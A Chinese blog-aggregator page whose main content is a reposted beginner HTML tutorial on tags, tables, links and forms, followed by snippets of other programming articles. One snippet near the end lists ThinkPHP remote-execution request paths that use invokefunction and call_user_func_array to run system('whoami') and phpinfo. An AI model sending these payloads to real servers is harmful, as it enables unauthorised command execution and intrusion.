当前位置：首页 > news >正文

一篇讲完HTML核心内容

news 文章来源：https://blog.csdn.net/weixin_61898502/article/details/142448887 2025/5/20 7:26:24

一、HTML

1、 HTML概念

网页，是网站中的一个页面，通常是网页是构成网站的基本元素，是承载各种网站应用的平台。通俗的说，网站就是由网页组成的。通常我们看到的网页都是以htm或html后缀结尾的文件，俗称 HTML文件。

2、什么是HTML

HTML全称：Hyper Text Markup Language(超文本标记语言)

超文本:页面内可以包含图片、链接，甚至音乐、程序等非文字元素

标记:标签，不同的标签实现不同的功能

语言:人与计算机的交互工具

3、 HTML能做什么

HTML使用标记标签来描述网页,展示信息给用户

展现音频,视频,图片

表格,列表

超链接

4、 HTML书写规范

HTML标签是以尖括号包围的关键字例如<a> <img>

HTML标签通常是成对出现的，有开始就有结束

HTML通常都有属性，格式:属性＝‘属性值’(多个属性之间空格隔开)

属性放在开标签内

<a href="" target=""> </a>

HTML标签不区分大小写,建议全小写

HTML标签支持合理的嵌套

开闭标签之间加要展示的内容

文件后缀是html,写完后使用浏览器打开

<!-- 例如 -->
<a href="http://www.baidu.com" target="_blank">超链接</a>

5、开发工具

VSCode (微软) (我们使用这款)

HBuilderX (国产)

WebStorm (IDEA家族的)

Dreamweaver (考古队)

5.1 安装 VSCode

默认下一步下一步就可以.

建议勾选12345,这样可以在右键时有一个提示"使用VSCode打开文件"

5.2 插件

安装插件

Chinese (Simplified)(简体中文)

Auto rename tag (自动改标签名)

Material lcon Theme (图标样式)

open in browser (快速使用浏览器打开页面)

以上几个是非常墙裂建议安装!,在应用商店,输入以上几个的名字即可

5.3 使用vscode

使用VSCode,最好的方式

先在本地磁盘创建好一个前端项目(文件夹)

使用VSCode打开该文件夹

创建页面文件

5.4 运行

1 在磁盘中找到文件,使用浏览器打开

2 或者使用刚才我们安装的插件,有快捷键 alt+b,就会使用电脑的默认浏览器打开

二、HTML基本标签

1、结构(骨架)标签[重要]

<html>:根标签       <head>：网页头标签<title></title>:页面的标题      </head>      <body></body>：网页正文
</html>

以下属性了解

属性名	代码	描述
text	< body text="#f00"></ body>	设置网页正文中所有文字的颜色
`bgcolor`	< body bgcolor="#00f"></ body>	设置网页的背景色
background	< body background="1.png"></ body>	设置网页的背景图

颜色的表示方式：

第一种方式：用表示颜色的英文单词，例，red green blue

第二种方式：用16进制表示颜色，例，#000000 #ffffff #325687 #377405

第三种方式: 用三原色rgb(0,0,0) 数字取值0-255

2、排版标签 [重要]

可用于实现简单的页面布局

注释标签：

换行标签：< br> (单标签,没有行间距)

段落标签：< p>文本文字</ p>

特点：段与段之间有空行 (行间距比较大)

属性：align对齐方式(left、center、right)

水平线标签:< hr/> (单标签)

属性(了解):

width：水平线的长度(两种:第一种:像素表示；第二种，百分比表示)

像素单位px,长度固定

百分比单位% ,长度随着浏览器窗口会变化

size: 水平线的粗细 (像素表示，例如：10px)

color:水平线的颜色

align:水平线的对齐方式

缩进(空格符)  

劝学  颜真卿
-----------
三更灯火五更鸡,
正是男儿读书时.
黑发不知勤学早,
白首方悔读书迟.

要求: 古诗名标题,作者要缩进,正文前有分割线,正文四句话换行

 <h2>劝学</h2>&nbsp;&nbsp;&nbsp;&nbsp;颜真卿<hr width="130px" align="left">三更灯火五更鸡,<br>正是男儿读书时.<br>黑发不知勤学早,<br>白首方悔读书迟.<br><hr width="130px" align="left"><p>三更灯火五更鸡,</p><p>正是男儿读书时.</p><p>黑发不知勤学早,</p><p>白首方悔读书迟.</p>

3、块标签[重要]

使用CSS+DIV是现下流行的一种布局方式

标签	代码	描述
div	< div></ div>	行级块标签，独占一行，换行
span	< span></ span>	行内块标签，所有内容都在同一行

ps: 会用F12 浏览器开发者工具

4、基本文字标签

font标签处理网页中文字的显示方式

属性名	代码	描述
size	< font size="7"></ font>	用于设置字体的大小，最小1号，最大7号
color	< font color="#f00"></ font>	用于设置字体的颜色
face	< font face="宋体"></ font>	用于设置字体的样式

5、标题标签[重要]

随着数字增大文字逐渐变小，字体是加粗的，内置字号，默认占据一行

标签	代码	描述
h1	< h1></ h1>	1号标题，最大字号
h2	< h2></ h2>	2号标题
h3	< h3></ h3>	3号标题
h4	< h4></ h4>	4号标题
h5	< h5></ h5>	5号标题
h6	< h6></ h6>	6号标题，最小字号

6、列表标签[重要]

无序列表

1

2

3

有序列表

day01

day02

day03

无序列表：使用一组无序的符号定义， < ul>< /ul>

<ul type="circle"><li></li>
</ul>

ul标签内,有属性type

属性值	描述	用法举例
circle	空心圆	< ul type="circle">< /ul>
disc	实心圆	< ul type="disc">< /ul>
square	黑色方块	< ul type="square">< /ul>

有序列表：使用一组有序的符号定义， < ol>< /ol>

<ol type="a" start="1"><li></li>
</ol>

ol标签内,有属性type

属性值	描述	用法举例
1	数字类型	< ul type="1">< /ul>
A	大写字母类型	< ul type="A" >< /ul>
a	小写字母类型	< ul type="a">< /ul>
I	大写古罗马	< ul type="I">< /ul>
i	小写古罗马	< ul type="i">< /ul>

列表嵌套：无序列表与有序列表相互嵌套使用

代码举例：

    <ol><li></li><li></li><li><ul><li></li></ul></li></ol>

7、图形标签[重要]

在页面指定位置处中引入一幅图片， < img />

属性名	描述
`src`	`引入图片的地址`
width	图片的宽度
height	图片的高度
border	图片的边框
align	与图片对齐显示方式
alt	提示信息

路径问题:

./ 当前文件夹 .

../ 上一层文件夹

    <ol><li><img width="100px" src="../images/java1.jpg"></li><li><img width="100px" src="../images/java2.jpg"></li><li><img width="100px" src="../images/java3.jpg"></li></ol>

8、超链接标签[重要]

在页面中使用链接标签跳转到另一页面

标签： < a href="">< /a>

属性：href:跳转页面的地址(跳转到外网需要添加协议)

设置跳转页面时的页面打开方式，target属性

_blank在新窗口中打开

_self在原页面中打开

练习: 图片加链接(点击图片能跳转页面)

   <!-- 图片背后是连接 --><a href="https://baike.baidu.com/item/Java/85979?fr=ge_ala"><img src="../images/6.jpg" width="200px"></a>

练习: 列表加链接

    <ul><li><a href="#">外长现场读宪法回应台湾问题热</a></li><li><a href="#">委员建议允许女职工哺乳期灵活办公</a></li><li><a href="#">十组数据看增进民生福祉</a></li></ul>

9、表格标签[重要]

表格标签非常重要,用于在项目中展示数据的,例如下方这个

普通表格(table,tr,td)

<table> <!--  表格 --><tr> <!--  table row 行 --><td></td> <!-- table data单元格数据 --></tr>
</table>

表格的列标签(th)：内容有加粗和居中效果

<table><thead>  <!-- 表头,一般用在第一行--><th></th> <!-- table head--></thead>
</table>

表格的列合并属性(colspan)：在同一行内同时合并多个列 column 列

<table><tr><td colspan="合并的列数"></td></tr>
</table>

表格的行合并属性(rowspan)：在同一列跨多行合并

<table><tr><td rowspan="合并的行数"></td></tr>
</table>

三、HTML表单标签`[最重要]`

html表单用于收集不同类型的用户输入数据

1、 form元素常用属性

action表示动作，值为服务器的地址，把表单的数据提交到该地址上处理

method:请求方式：get 和post

get:

地址栏,请求参数都在地址后拼接 path?name=张三&password=23456

不安全

效率高

get请求大小有限制，不同浏览器有不同，但是大约是2KB；一般情况用于查询数据

post：

地址栏：请求参数单独处理。

安全可靠些

效率低

post请求大小理论上无限；一般用于插入删除修改等操作

enctype:表示是表单提交的类型

默认值：application/x-www-form-urlencoded 普通表单

multipart/form-data 多部分表单(一般用于文件上传)

2、 input元素

作为表单中的重要元素，可根据不同type值呈现为不同状态

属性值	描述	代码
text	单行文体框	< input type="text"/> 默认的
password	密码框	< input type="password"/>
radio	单选按钮	< input type="radio"/>
checkbox	复选框	< input type="checkbox"/>
date	日期框	< input type="date"/>
time	时间框	< input type="time"/>
datetime	日期和时间框	< input type="datetime"/>
email	电子邮件输入	< input type="email"/>
file	文件上传	< input type="file"/>
hidden	隐藏域	< input type="hidden"/>
submit	表单提交按钮	< input type="submit"/>
button	普通按钮	< input type="button"/>
reset	重置按钮	< input type="reset"/>

input标签中属性

value 输入框的值

name 输入框值的key,没有name属性,将来后台服务器没有办法接收数据

3、 select 元素(下拉列表)

单选下拉列表：< select>< /select>

默认选中属性：selected="selected"

ps: HTML5以后,属性名等于属性值的属性,可以简写属性即可

<select><option selected="selected">内容</option>...<option></option>
</select>

多选下拉列表属性： < select></ select>

多选列表：multiple="multiple"

<select multiple="multiple"><option></option>
</select>

4、 textarea元素(文本域)

多行文本框： < textarea cols="列" rows="行">< /textarea>

5、综合示例

案例效果图

<body><!-- input的value属性,是输入框的默认值,很重要一般用在更新数据,在输入框回显数据用的input的属性,做输入框的背景提示  
---------------------------------------------表单是干什么? 收集数据1) 点击提交按钮,就会提交数据到action指定的服务器2) 要给input,select设置name属性值,用来指定发送到服务器的数据的名字要不然,后端服务器无法获得表单中的数据3) 单选,复选,下拉框,还要设置value,用来指定数据值,否则提交到后端都是on,无意义4) 一般,在设计上,性别,学历,技能,不会设计成字符数据,都是数字例如1代表男,2代表女,这样节省数据库存储空间
------------------------------------------------method可以指定提交到服务器方式,默认是get另外一种: postget:  明文提交数据,所携带数据量较小(2-4k),快post: 隐藏提交数据,数据在请求体,携带数据大小不限,慢--><form action="/his" method="post">用户名<input type="text" value="admin" name="username" placeholder="6-10位"> <br>密码<input type="password"  name="password" value="123456"> <br>性别<input type="radio" name="sex" value="1">男<input type="radio" name="sex" value="2">女 <br>技能<input type="checkbox" name="skill" value="1">rap <input type="checkbox" name="skill" value="2">唱跳<input type="checkbox" name="skill" value="3">篮球<br>生日<input type="date" name="birthday"> <br>学历<select name="edu"><option value="1">大专</option><option value="2">本科</option><option value="3">研究生</option></select> <br><input type="reset" value="重置"> <input type="submit" value="提交"> </form>
</body>

一篇讲完HTML核心内容

一、HTML 1、 HTML概念网页，是网站中的一个页面，通常是网页是构成网站的基本元素，是承载各种网站应用的平台。通俗的说，网站就是由网页组成的。通常我们看到的网页都是以htm或html后缀结尾的文件，俗称 HTML文件。 2、…...

编程日记 2024/9/24 5:30:52

2024icpc(Ⅱ)网络赛补题 G

2024icpc(Ⅱ)网络赛补题 G 题目链接：The 2024 ICPC Asia EC Regionals Online Contest (II) G、Game 题意： 给定Alice和Bob的每一轮的概率 p 0 , p 1 p_0, p_1 p0,p1 给定Alice和Bob的初始数字 x , y x,y x,y。对于每一轮： 如果Al…...

编程日记 2024/9/24 5:28:50

AIGC时代！AI的“iPhone时刻”与投资机遇

AIGC时代！AI的“iPhone时刻”与投资机遇前言AI的“iPhone时刻”与投资机遇前言 AIGC，也就是人工智能生成内容，它就像是一股汹涌的浪潮，席卷了整个科技世界。它的出现，让我们看到了人工智能的无限潜力，也…...

编程日记 2024/9/24 5:27:50

Kubernetes调度单位Pod

Kubernetes调度单位Pod 1 Pod简介不直接操作容器container。一个 pod 可包含一或多个容器（container），它们共享一个 namespace（用户，网络，存储等），其中进程之间通过 localhost 本地…...

编程日记 2024/9/24 5:26:49

C语言指针篇

要想学好C语言，作为灵魂的指针那是必须要掌握的，而要想搞定指针，就不得不讲一下内存和地址之间的关系内存和地址计算机上的CPU（中央处理器）在处理数据的时候，需要的数据是在内存中读取的，处…...

编程日记 2024/9/24 5:25:47

Unity 使用Editor工具查找 Prefab 中的指定脚本

在 Unity 项目中，随着项目规模的扩大和 Prefab 数量的增加，管理和定位 Prefab 中的脚本变得更加复杂。为了提高开发效率，所以需要编写一个自定义的 Unity Editor 工具，帮助查找某个 Prefab 中是否使用了指定的脚本。本文将介绍如何…...

编程日记 2024/9/24 5:24:46

Frida-JSAPI：Interceptor使用

拦截器 Interceptor.attach(target, callbacks[, data]) 参数分析 target ：target是一个NativePointer，用于指定想要拦截的函数的地址。callbacks ：参数是一个包含一个或多个回调函数的对象。 onEnter(args) 回调函数，接收一个参…...

编程日记 2024/9/24 5:23:45

【深度学习】（3）--损失函数

文章目录损失函数一、L1Loss损失函数1. 定义2. 优缺点3. 应用二、NLLLoss损失函数1. 定义与原理2. 优点与注意3. 应用三、MSELoss损失函数1. 定义与原理2. 优点与注意3. 应用四、BCELoss损失函数1. 定义与原理2. 优点与注意3. 应用五、CrossEntropyLoss损失函数1. 定义与原…...

编程日记 2024/9/24 5:22:44

git学习报告

文章目录 git学习报告如何配置vscode终端安装PowerShell安装 Microsoft.Powershell.Preview使用 git的使用关于团队合作 git指令本地命令：云端指令 git学习报告如何配置vscode 安装powershell调教window终端，使其像Linux一样，通过Linux命令…...

编程日记 2024/9/24 5:21:43

Spring MVC的应用

目录 1、创建项目与maven坐标配置 2、核心配置 3、启动项目测试 4、不同请求参数在controller的配置 4.1 servlet API 4.2 简单类型 4.3 pojo类型 4.4 日期类型 4.5 restful风格4种操作类型 4.5.1 GET：获取资源 4.5.2 POST：新建资源 4.5.3 P…...

编程日记 2024/9/24 5:19:42

JavaEE: 深入探索TCP网络编程的奇妙世界(六)

文章目录 TCP核心机制TCP核心机制九: 面向字节流TCP核心机制十: 异常处理小小的补充(URG 和 PSH)~TCP小结TCP/UDP 对比用UDP实现可靠传输(经典面试题) 结尾 TCP核心机制上一篇文章JavaEE: 深入探索TCP网络编程的奇妙世界(五) 书接上文~ TCP核心机制九: 面向字节流 TCP是面…...

编程日记 2024/9/24 5:17:39

探秘 Web Bluetooth API：连接蓝牙设备的新利器

引言随着物联网技术的快速发展，蓝牙设备在日常生活中扮演着越来越重要的角色。而在 Web 开发领域，Web Bluetooth API 的出现为我们提供了一种全新的方式来连接和控制蓝牙设备。本文将深入探讨 Web Bluetooth API 的使用方法和原理，帮助开发…...

编程日记 2024/9/24 5:15:37

Kubernetes Pod调度基础（kubernetes）

实验环境依旧是k8s快照，拉取本次实验所需的镜像文件； 然后在master节点上传已经编写好的yaml文件； 然后同步会话，导入镜像； pod控制器： 标签选择器--》标签： 标签： 在Kubernetes&…...

编程日记 2024/9/24 5:14:37

Angular由一个bug说起之十：npm Unsupported engine

我们在用npm下载包的时候，有时候会碰到这样的提示这是npm的警告，说我们使用的nodejs版本与下载的包所要求的nodejs版本不一致。这是因为有些包它对nodejs的版本有要求，然后就会在package.json文件里的engines字段里声明它所要求的nodejs版本…...

编程日记 2024/9/24 5:13:36

Android 开发高频面试题之——Flutter

Android开发高频面试题之——Java基础篇 flutter高频面试题记录 Flutter1. dart中的作用域与了解吗2. dart中. .. ...分别是什么意思？3. Dart 是不是单线程模型？如何运行的？4. Dart既然是单线程模型支持多线程吗？5. Future是什么6. Stream是什么7. Flutter 如何和原生交互…...

编程日记 2024/9/24 5:12:34

视频单目标跟踪研究

由于对视频单目标跟踪并不是很熟悉，所以首先得对该领域有个大致的了解。视频目标跟踪是计算机视觉领域重要的基础性研究问题之一，是指在视频序列第一帧指定目标后，在后续帧持续跟踪目标，即利用边界框（通常用矩形框表…...

编程日记 2024/9/24 5:11:33

若依vue3.0表格的增删改查文件封装

一、因若依生成的文件没进行封装，维护起来比较麻烦。所以自己简单的进行封装了一下 gitee代码（文件）地址：https://gitee.com/liu_yu_ting09/ruo_yi.git 二、封装的方法（下面绿色按钮进行全局封装一个JeecgListMixin.js…...

编程日记 2024/9/24 5:10:32

【已解决】如何使用JAVA 语言实现二分查找-二分搜索折半查找【算法】手把手学会二分查找【数据结构与算法】

文章目录前言任务描述编程要求输出样例:未查找到11元素！ 二、代码实现总结理解不了考试的时候直接背下来就好了。前言 [TOC]二分搜索任务描述折半查找（二分搜索） 设a[low..high]是当前的查找区间，首先确定该区间的中点位置…...

编程日记 2024/9/24 5:09:31

ERROR 1524 (HY000): Plugin ‘mysql_native_password‘ is not loaded

你遇到的错误是由于 MySQL 版本不再默认支持 mysql_native_password 认证插件导致的。从 MySQL 8.0 开始，默认的认证插件是 caching_sha2_password，而不是 mysql_native_password。解释： 错误 ERROR 1524 (HY000): Plugin mysql_native_pa…...

编程日记 2024/9/24 5:07:29

.NET 6.0 WebAPI 使用JWT生成Token的验证授权

1.引入相关程序包JwtBearer注意版本: 2.配置文件appsettings.json写相关配置参数(也可不写，写在程序里面，数据库读取也是一样的) , //JWT加密"JWTToken": {"SecretKey": "jsaduwqe6asdjewejdue7dfmsdfu0sdfmwmsd8wfsd6",…...

编程日记 2024/9/24 5:06:28

M9410A VXT PXI 矢量收发信机，300/600/1200MHz带宽

M9410A PXI 矢量收发信机 -300/600/1200MHz带宽- M9410A VXT PXI 矢量收发信机，300/600/1200MHz带宽支持 5G 的 PXI 矢量收发信机（VXT）是一个 2 插槽模块，具有 1.2 GHz 的瞬时带宽主要特点 Keysight M9410A VXT PXIe 矢量收发…...

编程日记 2024/9/24 5:05:27

用工厂模式演示springboot三种注入方式 | @Autowired

背景：看了个demo工厂模式，示例代码的工厂类是new出来的，但是实际项目中都是用springboot框架、bean都是会给容器管理的，所以在思考这个工厂类要交给springboot托管要怎么改。以下是总结笔记依赖注入 1.工厂类用new实现2.工厂类用…...

编程日记 2024/9/24 5:04:25

es查询语法

查询关键词的含义： match: 用于进行全文搜索，分析查询文本并与倒排索引中的词项进行匹配。 term: 精确匹配，适用于非分析字段，如 keyword 类型。用于查找字段值完全相等的文档。 bool: 组合多个查询条件。可以使用 must&#xf…...

编程日记 2024/9/24 5:03:24

LabVIEW提高开发效率技巧----合理使用数据流与内存管理

理使用数据流和内存管理是LabVIEW开发中提高性能和稳定性的关键，特别是在处理大数据或高频率信号时，优化可以避免内存消耗过大、程序卡顿甚至崩溃。 1. 使用 Shift Register 进行内存管理 Shift Register（移位寄存器） 是 LabVIE…...

编程日记 2024/9/24 5:01:22

如何在 ECharts 中设置轴标签

在 ECharts 中，轴标签（Axis Label）是指 X 轴或 Y 轴上的刻度标签，用于显示轴上的数据值或分类名称。你可以通过配置 xAxis（X 轴）或 yAxis（Y 轴）的 axisLabel 属性来设置轴标签的样式…...

编程日记 2024/9/24 5:00:21

怎么用gitee做一个图片仓库，在md文档中用这个图片网络地址，然后显示图片

痛因：我为什么要这样做，呃，我一开始图片都是存本地地址的，放在和这个md文档同级的assets文件夹下面，这样子确实当时很方便，复制粘贴什么也不用管，但是想把这个文档分享给别的人的时候&#xff0…...

编程日记 2024/9/24 4:59:20

1.远程命令执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami 2.远程代码执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[1][]…...

编程日记 2024/9/24 4:58:19

【艾思科蓝】前端框架巅峰对决：React、Vue与Angular的全面解析与实战指南

【JPCS独立出版】第三届能源与动力工程国际学术会议（EPE 2024）_艾思科蓝_学术一站式服务平台更多学术会议请看：https://ais.cn/u/nuyAF3 引言在快速发展的前端技术领域，选择合适的框架或库对于项目的成功至关重要。React、Vu…...

编程日记 2024/9/24 4:57:18

IT行业的未来：技术变革与创新的持续推动

IT行业的未来：技术变革与创新的持续推动随着数字化进程的不断加速，信息技术（IT）行业正迈入一个快速变革的时代。新兴技术如人工智能（AI）、5G、物联网（IoT）和区块链，正在…...

编程日记 2024/9/24 4:56:17

Python PDF转图片自定义输出

PDF转图片自定义输出一、引入必要库 1 2import fitz import os也可以检查一下版本就是了：print(fitz.__doc__) 上一篇文章已经介绍过要使用的库，和写代码要用到的思路了。我们直接开始： 二、找到文件首先是我们要获取用户的输入&#x…...

编程日记 2024/9/24 4:54:13

一、HTML

1、 HTML概念

2、 什么是HTML

3、 HTML能做什么

4、 HTML书写规范

5、 开发工具

5.1 安装 VSCode

5.2 插件

5.3 使用vscode

5.4 运行

二、HTML基本标签

1、 结构(骨架)标签[重要]

2、 排版标签 [重要]

3、 块标签[重要]

4、 基本文字标签

5、 标题标签[重要]

6、 列表标签[重要]

7、 图形标签[重要]

8、 超链接标签[重要]

9、 表格标签[重要]

三、HTML表单标签[最重要]